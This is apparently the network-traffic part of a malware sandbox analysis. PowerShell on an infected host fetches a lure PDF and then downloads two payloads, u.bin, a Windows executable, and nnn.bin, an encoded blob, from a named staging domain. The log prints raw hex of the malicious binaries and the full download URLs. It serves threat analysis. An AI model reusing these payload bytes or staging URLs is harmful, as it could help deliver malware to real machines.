n34f2cH32X39N30y2cm33i30i30K2cz32L38m34O2cP33r30t31k2cO33W30I31h2cw33f30B30y2cV32X39u31T2cC32r38J37W2ce33n30j32a2cH32V38T35z2cG33B30Q30n2co32Z38P35s2cx32L39z31L2cN32G38j37c2cW33P30c31P2co32O38I33H2cB32Q38k33b2cI33T30c34t2cD33J30a30v2cO32N38K33w2cH33B30W32
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 33 39 43 32 63 6c 33 32 6b 33 38 69 33 35 67 32 63 72 33 33 67 33 30 69 33 32 77 32 63 6f 33 32 65 33 38 4f 33 33 48 32 63 5a 33 33 61 33 30 7a 33 34 6d 32 63 72 33 32 5a 33 38 64 33 36 6b 32 63 58 33 33 43 33 30 72 33 33 7a 32 63 45 33 33 69 33 30 58 33 30 42 32 63 58 33 32 61 33 38 45 33 36 49 32 63 46 33 32 61 33 38 49 33 38 6a 32 63 71 33 32 5a 33 38 44 33 33 53 32 63 63 33 32 65 33 38 52 33 35 65 32 63 6e 33 33 57 33 30 75 33 30 62 32 63 46 33 33 41 33 30 74 33 33 69 32 63 76 33 32 6d 33 38 65 33 36 69 32 63 73 33 33 6a 33 30 62 33 31 4a 32 63 49 33 33 67 33 30 5a 33 31 4e 32 63 61 33 32 47 33 39 42 33 31 7a 32 63 52 33 32 51 33 38 77 33 38 53 32 63 56 33 32 4b 33 38 49 33 33 74 32 63 6c 33 32 4e 33 38 4d 33 39 69 32 63 6e 33 33 76 33 30 77 33 34 58 Data Ascii: 39C2cl32k38i35g2cr33g30i32w2co32e38O33H2cZ33a30z34m2cr32Z38d36k2cX33C30r33z2cE33i30X30B2cX32a38E36I2cF32a38I38j2cq32Z38D33S2cc32e38R35e2cn33W30u30b2cF33A30t33i2cv32m38e36i2cs33j30b31J2cI33g30Z31N2ca32G39B31z2cR32Q38w38S2cV32K38I33t2cl32N38M39i2cn33v30w34X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	83.166.133.91	443	5016	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:38:19 UTC	193	OUT	GET /pdf/cloudviewer/ref095vq842r70/3rd/party/authorisation/form/20241210/docs/w3/ref095vq842r70_3rd_party_authorisation_form.pdf HTTP/1.1 Host: csp-invoices-v5.com Connection: Keep-Alive
2024-12-17 07:38:20 UTC	324	IN	HTTP/1.1 200 OK date: Tue, 17 Dec 2024 07:38:19 GMT server: Apache strict-transport-security: max-age=16000000 upgrade: h2 connection: Upgrade last-modified: Tue, 10 Dec 2024 13:54:13 GMT etag: "f312-628ead0f031f3" accept-ranges: bytes content-length: 62226 vary: Accept-Encoding content-type: application/pdf
2024-12-17 07:38:20 UTC	7868	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0a 25 ba d1 f1 a9 0a 31 34 20 30 20 6f 62 6a 3c 3c 2f 4c 69 6e 65 61 72 69 7a 65 64 20 31 2f 4c 20 36 32 32 32 36 2f 4f 20 31 37 2f 45 20 35 35 35 39 38 2f 4e 20 32 2f 54 20 36 31 39 32 31 2f 48 20 5b 20 38 30 32 20 33 30 30 5d 3e 3e 0a 65 6e 64 6f 62 6a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 31 35 20 30 20 6f 62 6a 3c 3c 2f 49 44 5b 3c 42 41 30 36 37 41 45 33 36 38 43 45 36 41 39 44 44 31 34 33 32 45 30 38 36 Data Ascii: %PDF-1.7%14 0 obj<</Linearized 1/L 62226/O 17/E 55598/N 2/T 61921/H [ 802 300]>>endobj 15 0 obj<</ID[<BA067AE368CE6A9DD1432E086
2024-12-17 07:38:20 UTC	16320	IN	Data Raw: d7 34 55 3a 5b 07 a1 7a 74 38 95 9c be 80 38 bf d6 29 b1 eb 16 5c 99 fb e4 04 8c b1 dd 69 e4 e4 86 7e 35 dc 26 9d 70 d8 8b e3 9a ee 78 bb 27 fc 14 81 b3 b9 4c 7a 52 d2 33 c3 5d cf 7a 3e ff 1c 23 e9 8f fd 3a f5 a1 dd 87 9c f4 3c fe 04 9a 3e 3a 45 e1 bc 55 9b 83 d3 d5 84 85 cb cd 09 c0 b8 76 e6 f2 e4 30 6e 7a 86 bf 58 c5 91 f4 0d 8e 97 93 70 24 07 51 09 e3 11 c4 91 04 51 0f a3 1b 56 81 5a 58 a0 36 58 9e 32 46 e6 81 42 5b c1 32 ee 42 57 74 2f b7 09 96 e8 8a 15 b0 0a f6 73 94 11 2e 09 ea a9 01 04 5f 0c b2 a8 e1 42 33 55 62 68 46 01 0d ea a9 5b 10 d0 c0 5e d4 a0 60 7f 70 08 9c c0 f0 49 c7 e3 50 17 58 52 1b da c4 74 d2 25 da 67 2a 48 3c c8 fd 4e c1 93 03 ee 44 01 eb a2 a0 43 dc 1b b7 2d 94 19 b1 a7 2f 5c 9f b1 8c 75 9d 4e 68 4f a0 15 b0 87 4f da 2e ad 3b 3a b2 Data Ascii: 4U:[zt88)\i~5&px'LzR3]z>#:<>:EUv0nzXp$QQVZX6X2FB[2BWt/s._B3UbhF[^`pIPXRt%g*H<NDC-/\uNhOO.;:
2024-12-17 07:38:20 UTC	16320	IN	Data Raw: 40 93 7f 49 69 97 28 06 25 45 b1 af 0a 6a a6 20 eb 21 5d f0 66 ac 0e 14 a5 0b 7b 32 03 1b 17 2a 7d ad 12 0b bd a6 60 a8 96 a1 06 c3 6d 59 7a 67 96 d8 5b 6e f5 e6 4b dd fb 59 a2 ad d9 97 3f ed 9b 94 c4 e6 b3 72 c6 3c 29 34 a0 af 9d e7 4d 9f eb 3b 7b 42 33 ec c0 6f 3f 70 ad f9 95 e6 fd 01 ff 45 a1 7e 9d 3e 7c 5e 0d 56 ea 9a cc d2 66 d6 df a0 65 cd c9 6b 9a 93 d7 d2 af 59 af e5 55 9f e9 f3 ed 3b db e7 63 94 a1 86 42 17 f7 78 d9 a9 80 30 6c 86 9a a4 8e 2c a3 76 91 ea 3d 6d e9 41 dd 50 05 45 53 4d 43 d4 b4 59 bb ce e4 56 75 b2 a4 7d 48 b1 46 a2 ef 76 d6 0c 6b a0 a3 3a 90 f1 aa 37 f3 55 b1 22 4b af 2c 0e 6d 5f a8 34 9c 54 83 5e 4b b1 57 0e 18 3d 31 86 4f 2b ac 39 df 1b f9 f3 ee aa 8b 01 d1 7e 9c 5a b1 ef 54 f6 8d 04 23 8c df 36 ec 0a 1f dc ac ad 5e 16 dc b3 41 Data Ascii: @Ii(%Ej !]f{2*}`mYzg[nKY?r<)4M;{B3o?pE~>\|^VfekYU;cBx0l,v=mAPESMCYVu}HFvk:7U"K,m_4T^KW=1O+9~ZT#6^A
2024-12-17 07:38:20 UTC	16320	IN	Data Raw: bb 9b 7a da cb d9 ed 25 63 bd 8d fd 83 1d e7 fc 3c 8e 1d 3f b5 63 c7 9e a3 27 4e 9e f4 3c bd fe bd f7 df 5c bd ee b1 67 9f 7d f8 f1 47 ef 78 d2 89 f9 38 34 df 1f 4a 90 35 ed c8 3f 87 91 5f 03 52 6e fe cb cb ff 7a ee 9b da 27 0e 01 85 06 f2 0c 21 45 fa 59 cf 68 d2 c6 fa d5 29 6b 6c a6 6a 5b 73 f8 17 4e 7c 9e 8e 96 67 1a 97 b9 c6 e4 f9 d6 bf ac 49 bb e9 56 aa c4 ba 42 27 82 0c fd 03 11 6f 42 84 6f 23 c2 77 6c 99 79 0b d1 9c b1 28 34 45 65 5d c1 eb 93 ff a3 1e dd 25 71 5d 9e 1f 7a 67 7f 5c 4a 7a 60 68 44 5c 46 56 5a 5e 61 4e 6d 5d 21 ab ab b1 a9 ad 60 a8 b7 93 3f d8 27 1e ce cc 4b 7f f1 a5 97 de 7d 7b dd 1b af ad fe e4 93 ed 03 03 3c a9 0c 44 b4 22 91 54 32 3b 37 37 2d 98 c9 4c 4d 0c 0d f4 4c 89 0b cc 48 08 ca 4e 0e e1 32 3b 45 c2 09 16 ab b1 b6 3c bb ae 38 Data Ascii: z%c<?c'N<\g}Gx84J5?_Rnz'!EYh)klj[sN\|gIVB'oBo#wly(4Ee]%q]zg\Jz`hD\FVZ^aNm]!`?'K}{<D"T2;77-LMLHN2;E<8
2024-12-17 07:38:20 UTC	5398	IN	Data Raw: e6 a5 ec c5 f9 13 9c 3f 89 f3 67 38 5f 06 60 fe 77 d6 af 80 f9 cc f4 1a 59 08 f3 bf b1 7e 1d cc 7f c7 fa 11 98 ff 94 f5 f7 c2 fc 3b ac df 05 f3 bb 59 ff 12 cc ef 62 fd 17 30 7f 1f eb 67 e7 a2 fc 4d ac 2f c3 28 bf 92 5f 20 70 13 cc 3f 00 fd 30 ff 06 eb 4f d7 a0 fc e3 fc 04 b4 a2 fc 30 ef 77 a2 fc 39 53 7a 8f 9f 1e 70 fc f0 3c 98 7f 8c e1 c7 36 c2 78 5a e5 e6 93 21 1c 4f e2 83 8b 6f 02 f2 44 27 ff e1 53 58 9e d6 39 f9 74 33 96 27 31 e4 e0 61 4b 9b 8a fd 0e 1a c7 6d bd 2a 8b a7 2d 7e 33 9e 27 ba a6 f8 2d 3a 78 6b 93 b9 ab 85 27 7a 64 16 c0 4f ee 6c f6 98 fe 80 d0 e2 8b e7 66 81 36 2d 3e ed 32 fd 4f d5 5a 7c a1 66 e0 8c 16 9f 1a cd f7 88 5f db f5 14 b8 68 9e c0 47 d8 d6 ee c8 92 51 b3 40 5c cf 3d 74 48 2d 12 87 b5 f8 a2 cf f4 b3 e8 15 fa 6f 56 a4 cc 02 23 4b Data Ascii: ?g8_`wY~;Yb0gM/(_ p?0O0w9Szp<6xZ!OoD'SX9t3'1aKm*-~3'-:xk'zdOlf6->2OZ\|f_hGQ@\=tH-oV#K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	188.114.97.6	443	6776	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:38:20 UTC	194	OUT	GET /api/uz/7552973650/u.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: cndef1.green-pathways.shop Connection: Keep-Alive
2024-12-17 07:38:20 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:38:20 GMT Content-Type: application/octet-stream Content-Length: 893608 Connection: close Last-Modified: Tue, 22 Oct 2024 19:13:21 GMT ETag: "6717f951-da2a8" Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d84UWUQVLm0Gtym5snM99hFM2FNPf%2BVjmmBjtUGDJeJCU4JRz5vXJD7vSdN4EcMyj6a6drqkGw09kpaKx83uWHrUQBfbxZ73kqhqmLt57OyvytiZGjXM3EFo12beuY5y%2BFcYZ659KnI8kD3BYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3540c4fa6a1835-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1473&min_rtt=1467&rtt_var=563&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=808&delivery_rate=1922317&cwnd=139&unsent_bytes=0&cid=9e68a3f2541f48c0&ts=672&x=0"
2024-12-17 07:38:20 UTC	478	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sDRRRCPS_@a_@_@g[j[[jwR+r*S_@SRPSRichR
2024-12-17 07:38:20 UTC	1369	IN	Data Raw: 00 00 20 5b 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b1 e7 08 00 00 10 00 00 00 e8 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e fd 02 00 00 00 09 00 00 fe 02 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 00 0c 00 00 52 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 d7 00 00 00 90 0c 00 00 d8 00 00 00 3c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 71 00 00 00 70 0d 00 00 72 00 00 00 14 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 Data Ascii: [@.text `.rdata@@.datatR@.rsrcP<@@.relocqpr@B
2024-12-17 07:38:20 UTC	1369	IN	Data Raw: 00 83 7e 04 00 8b f8 59 0f 85 e1 a4 03 00 89 7e 04 5f 53 e8 97 fc 01 00 8b d0 59 85 d2 74 1d 8b 4d 08 8b 09 89 0a 8b 4e 08 8b 46 04 89 14 88 ff 46 08 5e 5b 5d c2 04 00 8b c1 eb b0 33 d2 eb e6 56 8b f1 ff 4e 08 8b 56 08 8b 46 04 ff 34 90 e8 d1 fc 01 00 8b 46 04 59 8b 4e 08 5e 83 24 88 00 c3 56 8b f1 57 33 ff 39 7e 08 0f 87 a7 a4 03 00 83 66 08 00 5f 5e c3 56 8b f1 c7 06 68 09 49 00 e8 dc ff ff ff ff 76 04 e8 98 fc 01 00 59 5e c3 56 ff 15 34 07 49 00 be b0 77 4c 00 50 8b ce e8 07 16 00 00 83 f8 ff 74 14 8b 15 10 78 4c 00 8b ce 6a 02 8b 04 82 ff 30 e8 20 13 00 00 5e c2 10 00 55 8b ec 53 56 8b f1 6a 04 5b 8b 46 0c 39 46 08 74 26 53 e8 d6 fb 01 00 8b d0 59 85 d2 74 4f 8b 4d 08 8b 09 89 0a 8b 4e 08 8b 46 04 89 14 88 ff 46 08 5e 5b 5d c2 04 00 8d 0c 00 6a 08 58 Data Ascii: ~Y~_SYtMNFF^[]3VNVF4FYN^$VW39~f_^VhIvY^V4IwLPtxLj0 ^USVj[F9Ft&SYtOMNFF^[]jX
2024-12-17 07:38:20 UTC	1369	IN	Data Raw: 0c 8b 4d 08 83 c0 08 8b 55 f4 83 c1 08 89 45 0c 89 4d 08 3b 53 0c 7c a5 8b 5b 04 8b 45 ec 8b 4d f0 85 db 0f 85 70 ff ff ff 57 56 e8 cc fe ff ff 8a 45 ff 5f 5e 5b 8b e5 5d c2 08 00 83 7d f0 ff 8b 7d f8 74 07 57 56 e8 b0 fe ff ff 8b 45 0c 83 38 ff 74 21 8b 00 89 45 f0 8b 4d 08 83 39 ff 74 05 8b 39 89 7d f8 ff 75 ec 6a 00 57 50 56 e8 cc fd ff ff eb 86 8b 45 f0 eb df 55 8b ec 83 ec 10 83 65 f8 00 53 56 57 8b 7d 08 33 db 43 c7 45 fc fe ff ff ff 57 89 5d f0 ff 15 28 01 49 00 8b 75 0c 88 1d 6c 78 4c 00 eb 6f ff 75 f0 33 db 53 ff 75 fc ff 75 f8 57 e8 84 fd ff ff 39 5e 0c 7e 34 8b ce 8d 86 10 08 00 00 8d 56 10 89 45 f4 f7 d9 89 55 0c 89 4d 08 80 38 08 73 53 83 c2 08 40 89 45 f4 05 f0 f7 ff ff 03 c1 89 55 0c 3b 46 0c 8b 45 f4 7c e2 8b 46 0c 3b d8 74 1a 2b c3 50 8d Data Ascii: MUEM;S\|[EMpWVE_^[]}}tWVE8t!EM9t9}ujWPVEUeSVW}3CEW](IulxLou3SuuW9^~4VEUM8sS@EU;FE\|F;t+P
2024-12-17 07:38:20 UTC	1369	IN	Data Raw: 33 c0 eb ef 0f 84 1c 9f 03 00 8b d0 81 ea 33 01 00 00 0f 84 08 01 00 00 4a 0f 84 fa 00 00 00 4a 0f 84 00 9f 03 00 4a 75 c0 56 b9 b0 77 4c 00 e8 c5 0b 00 00 8b 0d 10 78 4c 00 6a 0f 8b 04 81 8b 30 ff 15 28 05 49 00 83 7e 4c ff 8b f8 74 03 8b 7e 4c 57 53 ff 15 40 01 49 00 6a 00 57 e8 55 08 00 00 eb 8f 8b c8 83 e9 4e 0f 84 aa 9e 03 00 83 e9 05 0f 84 90 9e 03 00 83 e9 28 0f 84 71 9e 03 00 83 e9 09 0f 84 52 9e 03 00 81 e9 8d 00 00 00 0f 84 30 9e 03 00 49 0f 84 12 9e 03 00 49 49 0f 85 44 ff ff ff 6a 01 e9 ec 9d 03 00 83 fa 01 0f 84 55 fe ff ff ff 75 14 ff 75 10 52 e9 2b ff ff ff 74 23 8b c8 49 0f 84 34 ff ff ff 49 75 2d 56 e8 d3 fb ff ff e9 26 ff ff ff 53 56 e8 8f fb ff ff e9 1a ff ff ff 8b c3 c1 e8 10 50 57 0f b7 c3 50 56 e8 97 fd ff ff e9 04 ff ff ff 49 74 0d Data Ascii: 33JJJuVwLxLj0(I~Lt~LWS@IjWUN(qR0IIIDjUuuR+t#I4Iu-V&SVPWPVIt
2024-12-17 07:38:20 UTC	1369	IN	Data Raw: 64 66 89 87 8e 00 00 00 8d 45 dc 50 ff 37 ff 15 34 06 49 00 83 cb ff 39 5e 58 74 3d 39 5e 5c 74 45 8d 45 dc 50 ff 37 ff 15 94 06 49 00 39 5e 60 0f 84 a6 9a 03 00 39 5e 64 0f 84 af 9a 03 00 80 bf 90 00 00 00 00 0f 85 7b ff ff ff e9 9d 9a 03 00 80 7d 10 00 74 b1 eb 99 66 8b 45 dc 66 89 87 88 00 00 00 eb b6 66 8b 45 e0 66 89 87 8a 00 00 00 eb ae 55 8b ec a1 b4 77 4c 00 8b 4d 18 83 f8 01 0f 85 d6 9b 03 00 8b 45 08 83 f8 ff 74 03 89 41 58 8b 45 0c 83 f8 ff 74 03 89 41 5c 8b 45 10 85 c0 7e 03 89 41 60 8b 45 14 85 c0 7e 03 89 41 64 5d c2 14 00 55 8b ec 51 a1 10 78 4c 00 56 8b 75 08 57 6a 00 8b 04 b0 8b 38 57 e8 0b fb ff ff 83 7f 18 00 0f 85 c8 9b 03 00 8b 0d 34 78 4c 00 6a 03 5a 89 55 fc 3b ca 0f 8c ad 00 00 00 a1 24 78 4c 00 8b 04 90 8b 30 85 f6 0f 84 8c 00 00 Data Ascii: dfEP74I9^Xt=9^\tEEP7I9^`9^d{}tfEffEfUwLMEtAXEtA\E~A`E~Ad]UQxLVuWj8W4xLjZU;$xL0
2024-12-17 07:38:20 UTC	1369	IN	Data Raw: 00 00 eb 1c ff 4e 78 8b 4e 78 8b 46 74 ff 34 88 e8 ac e7 01 00 8b 46 74 59 8b 4e 78 83 24 88 00 83 7e 78 03 76 0f 8b 4e 78 8b 46 74 8b 44 88 fc 83 38 00 74 cf 5f 5e 5d c2 04 00 83 8e 98 00 00 00 ff 83 8e 94 00 00 00 ff e9 6a ff ff ff 55 8b ec 51 8b 0d 28 78 4c 00 56 57 39 0d 30 78 4c 00 75 6e 81 3d 34 78 4c 00 ff ff 00 00 0f 84 8e 00 00 00 68 a0 00 00 00 e8 cf e6 01 00 59 85 c0 0f 84 80 00 00 00 8b c8 e8 fc eb ff ff 8b f8 8d 45 fc 89 7d fc 50 b9 20 78 4c 00 e8 be ea ff ff 8b 35 34 78 4c 00 46 89 35 34 78 4c 00 8b 0d 24 78 4c 00 8b c6 ff 05 30 78 4c 00 8b 0c b1 89 39 8b 4d 08 8b 49 04 89 4f 04 5f 5e 8b e5 5d c2 04 00 6a 03 5e 33 ff 3b ce 7e 0d 8b 15 24 78 4c 00 8b 04 b2 39 38 75 23 68 a0 00 00 00 e8 5b e6 01 00 59 85 c0 74 b7 8b c8 e8 8c eb ff ff 8b f8 eb Data Ascii: NxNxFt4FtYNx$~xvNxFtD8t_^]jUQ(xLVW90xLun=4xLhYE}P xL54xLF54xL$xL0xL9MIO_^]j^3;~$xL98u#h[Yt
2024-12-17 07:38:20 UTC	1369	IN	Data Raw: 10 0f 85 f0 96 03 00 8b 07 5f 5e 5b 8b e5 5d c2 20 00 33 ff e9 c1 fd ff ff 0b d8 e9 22 fe ff ff 0b d8 e9 27 fe ff ff 89 4d 14 e9 50 fe ff ff 89 4d 18 e9 52 fe ff ff 55 8b ec 83 7d 0c 00 57 bf b0 77 4c 00 0f 85 cf 96 03 00 8b 0d 1c 78 4c 00 83 f9 ff 74 7b a1 10 78 4c 00 33 d2 56 8b 04 88 8b 30 8b 0e 89 4d 0c 38 56 3a 74 0f 88 56 3a 39 96 8c 01 00 00 0f 8d b5 96 03 00 8b 7d 08 83 ff 08 0f 8f eb 96 03 00 74 1a 85 ff 74 64 83 ff 01 74 11 83 ff 02 74 51 83 ff 03 74 43 7e 29 83 ff 05 7f 31 80 7e 38 00 75 56 57 51 ff 15 1c 07 49 00 83 ff 08 74 0d 83 ff 04 74 08 ff 75 0c e8 23 30 01 00 c6 46 38 01 33 c0 40 5e 5f 5d c2 08 00 33 c0 eb f7 83 ff 06 0f 84 7d 96 03 00 eb e8 c6 46 38 01 e9 df 96 03 00 c6 46 38 01 e9 69 96 03 00 52 51 ff 15 1c 07 49 00 c6 46 38 00 eb c8 Data Ascii: _^[] 3"'MPMRU}WwLxLt{xL3V0M8V:tV:9}ttdttQtC~)1~8uVWQIttu#0F83@^_]3}F8F8iRQIF8
2024-12-17 07:38:20 UTC	1369	IN	Data Raw: 00 66 c7 40 68 00 00 5d c2 04 00 ff 75 08 e8 82 f6 ff ff 89 46 6c eb dd 55 8b ec 51 51 8d 45 fc b9 b0 77 4c 00 50 8d 45 f8 50 ff 75 08 e8 53 f4 ff ff 84 c0 74 4b 8b 4d fc a1 24 78 4c 00 57 8b 04 88 8b 38 80 bf 90 00 00 00 1b 75 38 53 8b 5d 0c 8d 43 ff 83 f8 17 77 30 0f b6 80 f9 33 40 00 ff 24 85 dd 33 40 00 6a 01 ff 75 14 ff 75 10 53 57 e8 d8 ec ff ff 33 c0 40 5b 5f 8b e5 5d c2 20 00 33 c0 eb f6 33 c0 eb f1 33 c0 eb ec 8d 49 00 d6 33 40 00 b4 33 40 00 a3 d1 43 00 ec d1 43 00 08 d2 43 00 85 d1 43 00 d6 33 40 00 00 01 01 02 02 01 01 01 06 03 06 03 06 04 06 01 06 01 06 01 06 05 06 01 55 8b ec 83 ec 40 a1 78 72 4c 00 56 33 f6 a3 04 78 4c 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 30 07 49 00 89 45 Data Ascii: f@h]uFlUQQEwLPEPuStKM$xLW8u8S]Cw03@$3@juuSW3@[_] 333I3@3@CCCC3@U@xrLV3xLjE0E+uEEu0IE
2024-12-17 07:38:20 UTC	1369	IN	Data Raw: 01 00 8b f8 59 85 ff 74 1b ff 75 08 8b cf e8 2c c7 01 00 8b 46 04 89 47 30 89 7e 04 5f ff 06 5e 5d c2 04 00 33 ff eb eb 8b 0d 84 82 4c 00 85 c9 75 21 ff 35 78 82 4c 00 b9 78 82 4c 00 e8 49 02 00 00 ff 35 70 82 4c 00 b9 70 82 4c 00 e8 39 02 00 00 c3 56 e9 44 9a 03 00 55 8b ec 83 ec 0c 8b 45 08 83 65 f4 00 89 45 f8 85 c0 78 1f 8d 45 f4 b9 80 82 4c 00 50 e8 bc 01 00 00 ff 75 f4 8d 4d f4 e8 05 02 00 00 8b e5 5d c2 04 00 83 65 f8 00 eb db 55 8b ec 8b 45 10 33 c9 2b c1 74 27 48 0f 85 0d 9a 03 00 ff 75 0c ff 75 08 39 0d 80 82 4c 00 75 2b b9 70 82 4c 00 e8 df 05 00 00 8b c8 8b c1 5d c2 0c 00 39 0d 80 82 4c 00 0f 85 fb 99 03 00 b9 70 82 4c 00 ff 75 0c ff 75 08 eb da b9 80 82 4c 00 e8 7c 33 05 00 8b c8 eb cc 33 c0 a3 70 82 4c 00 a3 74 82 4c 00 a3 78 82 4c 00 a3 7c Data Ascii: Ytu,FG0~_^]3Lu!5xLxLI5pLpL9VDUEeExELPuM]eUE3+t'Huu9Lu+pL]9LpLuuL\|33pLtLxL\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49746	188.114.97.6	443	6776	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:38:33 UTC	172	OUT	GET /api/uz/7552973650/nnn.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: cndef1.green-pathways.shop
2024-12-17 07:38:34 UTC	895	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:38:34 GMT Content-Type: application/octet-stream Content-Length: 963397 Connection: close Last-Modified: Fri, 29 Nov 2024 16:04:11 GMT ETag: "6749e5fb-eb345" Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bI1bO1hMsNZhe%2FnHuMZht7PFsOm9W64q9fTzkPbEfsnoWpquOxQpTfLSuZ0MrfcuSc1jTzlW48ZsSAe24O7ZFUA%2B6jb%2FrCo2VZcNGmx0pANPvs40cDjHBeMlHp99PbbK5s2iI%2BLNRd9yPLcAXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3541193b6243c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1552&min_rtt=1544&rtt_var=595&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=810&delivery_rate=1815920&cwnd=152&unsent_bytes=0&cid=86a48a547b8621a0&ts=673&x=0"
2024-12-17 07:38:34 UTC	1369	IN	Data Raw: 4c 35 65 df dc dc dc aa ab ad b6 88 96 af bd 8a 89 be af 9f bd ae 9b be 91 a6 98 b2 b4 ac bb aa ba 89 b6 9f 8d 8a 90 aa bd 9b 8a b2 af 90 8e b3 b3 99 b0 9b b0 b1 a6 95 be 9d a4 98 8b 88 85 aa 98 b8 b1 a6 99 9a aa 9b ba 94 8a ac bd 9b a6 b0 8d b4 8b 96 a4 9f ba 9e 9f a9 a5 8d 91 96 af aa bb 98 8b b2 bb 85 b7 95 b9 b0 95 ac 9b 91 9f 9a b7 b3 95 9d 84 af b1 bb ac 8d af 99 86 9b 86 bd 8e 98 aa 9b 88 bd 96 a4 be ae 95 96 9d 9b aa b4 ae b1 ba ab 8d b5 8e ae 8f 9b 88 98 a5 9e a9 9e 8b 8a a9 bd b5 b1 91 b2 98 b3 ab 88 aa 8f b7 ae b1 be a5 aa ba 85 b6 ac a5 8b 8d 9e a8 bb 8c b5 90 b7 b9 a8 b6 9b 9e 95 bd ab 9e a4 a4 8b 8c 99 b8 b3 a5 84 97 b6 8c 9d bf bd 85 ac b1 b7 b3 84 97 96 b1 b1 b8 9f a4 98 ae a4 a5 b8 b5 ad 88 be bb a9 a8 ba aa 97 a4 8e b8 ae bb 8c bf aa 99 Data Ascii: L5e
2024-12-17 07:38:34 UTC	1369	IN	Data Raw: 95 9a 93 b4 b9 9b a4 b0 9f b9 a8 ac be b6 88 98 a4 af 89 9a 95 97 9f 96 8f b7 bb ae 9d b1 b6 91 92 90 b9 99 88 84 9e a5 bf 93 97 99 95 8b b9 93 b8 98 b9 88 b4 b6 b1 bd b3 94 b2 ac 8d bd b3 ba 92 b4 9f 92 a8 95 9b a6 b8 a9 9d 8e 97 aa 8f 89 85 92 aa b6 89 92 b0 88 b1 84 b2 8c ab ba 95 b2 9b a5 ab 85 a8 94 9f b1 93 ab 8d b2 9e 94 93 a5 ad 93 98 be 8e 85 9a 8f 88 96 a9 86 97 84 84 bb ac ae aa a5 a5 99 b2 a9 8c be 9a 9e 88 86 bd ac ae 99 96 88 96 b7 96 b5 8f 86 8d 9d b5 af af 8d 92 a6 99 aa 85 b8 8e b3 ad 89 97 92 90 bb af ae b3 b7 b3 bb 89 95 8f 8c af 9a 99 a6 97 aa 8c 94 bd 91 a8 85 85 ab 